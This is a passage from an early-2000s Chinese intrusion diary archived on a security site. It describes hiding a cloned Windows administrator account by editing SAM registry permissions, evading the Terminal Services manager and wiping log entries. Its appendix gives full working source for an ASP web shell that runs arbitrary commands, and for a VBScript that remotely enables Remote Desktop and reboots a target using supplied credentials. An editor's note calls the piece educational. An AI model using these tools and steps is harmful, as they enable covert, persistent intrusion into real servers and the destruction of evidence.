📄 入侵日记一则.html
字号:
运行regedit.exe 将我们已经修改好的3f1.reg文件导入.<br />
最后,打开regedt32.exe 找到HKEY_LOCAL_MAICHINE\SAM\SAM 点击它 ,然后在菜单"安全"->"权限" 删除刚才<br />
<br />
添加的用户(比如刚才刚才是用的guest,而且改了Administrators组的设置,所以与前面对应,Administratos<br />
<br />
组也要改,而且SAM下面的键,Domains,account,user都要逐级这样做,但如果前面没有改guest用户的默认组,<br />
<br />
这里没必要这么麻烦,一级一级的了).<br />
这样,我们就建立了一个在控制台用 net user 和"计算机管理"中都看不到的帐户InternetUser$,但是不能改<br />
<br />
密码,一改密码就会在"计算机管理"中看到.需要注意的一点是,每次登录(不论是不是克隆的),都最好注销掉,<br />
<br />
而不是直接关闭窗口,否则在"终端服务管理器"中会看到,而且管理员登录后注销时,可能会发现一个问题就是<br />
<br />
,怎么会是"注销InternetUser$..."!!! (我克隆了两个帐号,测试的,没有测试过Administrators)<br />
<br />
然后是记录清理,由于整个过程有下载的过程被记录,因此,运行logfiles,删除相关文件中的记录即可.<br />
<br />
本人水平糟糕,一定有错误和遗漏的地方,这文都改了N次,所以望高手批评指正.<br />
<br />
<br />
附录:<br />
--------------------------------------------------<br />
以下是asp后门,存为 cmd.asp<br />
<%@ Language=VBScript %><br />
<%<br />
<br />
Dim oScript<br />
Dim oScriptNet<br />
Dim oFileSys, oFile<br />
Dim szCMD, szTempFile<br />
<br />
On Error Resume Next<br />
<br />
' -- create the COM objects that we will be using -- '<br />
Set oScript = Server.CreateObject("WSCRIPT.SHELL")<br />
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")<br />
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")<br />
<br />
' -- check for a command that we have posted -- '<br />
szCMD = Request.Form(".CMD")<br />
If (szCMD <> "") Then<br />
<br />
' -- Use a poor man's pipe ... a temp file -- '<br />
szTempFile = "C:\" & oFileSys.GetTempName( )<br />
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)<br />
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)<br />
<br />
End If<br />
<br />
%><br />
<HTML><br />
<BODY><br />
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"><br />
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><br />
<input type=submit value="Run"><br />
</FORM><br />
<PRE><br />
<br />
<%<br />
If (IsObject(oFile)) Then<br />
' -- Read the output from our command and remove the temp file -- '<br />
On Error Resume Next<br />
Response.Write Server.HTMLEncode(oFile.ReadAll)<br />
oFile.Close<br />
Call oFileSys.DeleteFile(szTempFile, True)<br />
End If<br />
%><br />
</BODY><br />
</HTML><br />
<br />
----------------------------------------------------------------------<br />
以下是开终端的脚本,引自caozhe（草哲） 的<<一次简单的3389入侵过程 >>，把它存为rots.vbe<br />
on error resume next<br />
set outstreem=wscript.stdout<br />
set instreem=wscript.stdin<br />
if (lcase(right(wscript.fullname,11))="wscript.exe") then<br />
set objShell=wscript.createObject("wscript.shell")<br />
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))<br />
wscript.quit<br />
end if<br />
if wscript.arguments.count<3 then<br />
usage()<br />
wscript.echo "Not enough parameters."<br />
wscript.quit<br />
end if<br />
<br />
ipaddress=wscript.arguments(0)<br />
username=wscript.arguments(1)<br />
password=wscript.arguments(2)<br />
if wscript.arguments.count>3 then<br />
port=wscript.arguments(3)<br />
else<br />
port=3389<br />
end if<br />
if not isnumeric(port) or port<1 or port>65000 then<br />
wscript.echo "The number of port is error."<br />
wscript.quit<br />
end if<br />
if wscript.arguments.count>4 then<br />
reboot=wscript.arguments(4)<br />
else<br />
reboot=""<br />
end if<br />
<br />
usage()<br />
outstreem.write "Conneting "&ipaddress&" ...."<br />
set objlocator=createobject("wbemscripting.swbemlocator")<br />
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)<br />
showerror(err.number)<br />
objswbemservices.security_.privileges.add 23,true<br />
objswbemservices.security_.privileges.add 18,true<br />
<br />
outstreem.write "Checking OS type...."<br />
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")<br />
for each objinstoscaption in colinstoscaption<br />
if instr(objinstoscaption.caption,"Server")>0 then<br />
wscript.echo "OK!"<br />
else<br />
wscript.echo "OS type is "&objinstoscaption.caption<br />
outstreem.write "Do you want to cancel setup?[y/n]"<br />
strcancel=instreem.readline<br />
if lcase(strcancel)<>"n" then wscript.quit<br />
end if<br />
next<br />
<br />
outstreem.write "Writing into registry ...."<br />
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get<br />
<br />
("stdregprov")<br />
HKLM=&h80000002<br />
HKU=&h80000003<br />
with objinstreg<br />
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"<br />
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0<br />
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"<br />
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1<br />
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1<br />
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2<br />
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2<br />
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"<br />
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-<br />
<br />
Tcp","PortNumber",port<br />
end with<br />
showerror(err.number)<br />
<br />
rebt=lcase(reboot)<br />
flag=0<br />
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2<br />
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6<br />
if flag<>0 then<br />
outstreem.write "Now, reboot target...."<br />
strwqlquery="select * from win32_operatingsystem where primary='true'"<br />
set colinstances=objswbemservices.execquery(strwqlquery)<br />
for each objinstance in colinstances<br />
objinstance.win32shutdown(flag)<br />
next<br />
showerror(err.number)<br />
else<br />
wscript.echo "You need to reboot target."&vbcrlf&"Then,"<br />
end if<br />
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"<br />
<br />
function showerror(errornumber)<br />
if errornumber Then<br />
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."<br />
if err.description <> "" then<br />
wscript.echo "Error description: "&err.description&"."<br />
end if<br />
wscript.quit<br />
else<br />
wscript.echo "OK!"<br />
end if<br />
end function<br />
<br />
function usage()<br />
wscript.echo string(79,"*")<br />
wscript.echo "ROTS v1.05"<br />
wscript.echo "Remote Open Terminal services Script, by 草哲"<br />
wscript.echo "Welcome to visite <a href='http://www.5458.net"' target='_blank'>www.5458.net"</a><br />
wscript.echo "Usage:"<br />
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"<br />
wscript.echo "port: default number is 3389."<br />
wscript.echo "/r: auto reboot target."<br />
wscript.echo "/fr: auto force reboot target."<br />
wscript.echo string(79,"*")&vbcrlf<br />
end function<br />
<br />
<br />
<span style='color:red'>root注：本文对于网络安全初学者而言，或许会有帮助，虽然采用的方法比较简单，但有助于了解攻击者的思路和方法流程，当然，不是鼓励大家这么干:)</span> </td> </tr></table><div class="footer"> Copyright © 1998-2003 XFOCUS Team. All Rights Reserved</div></body></html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -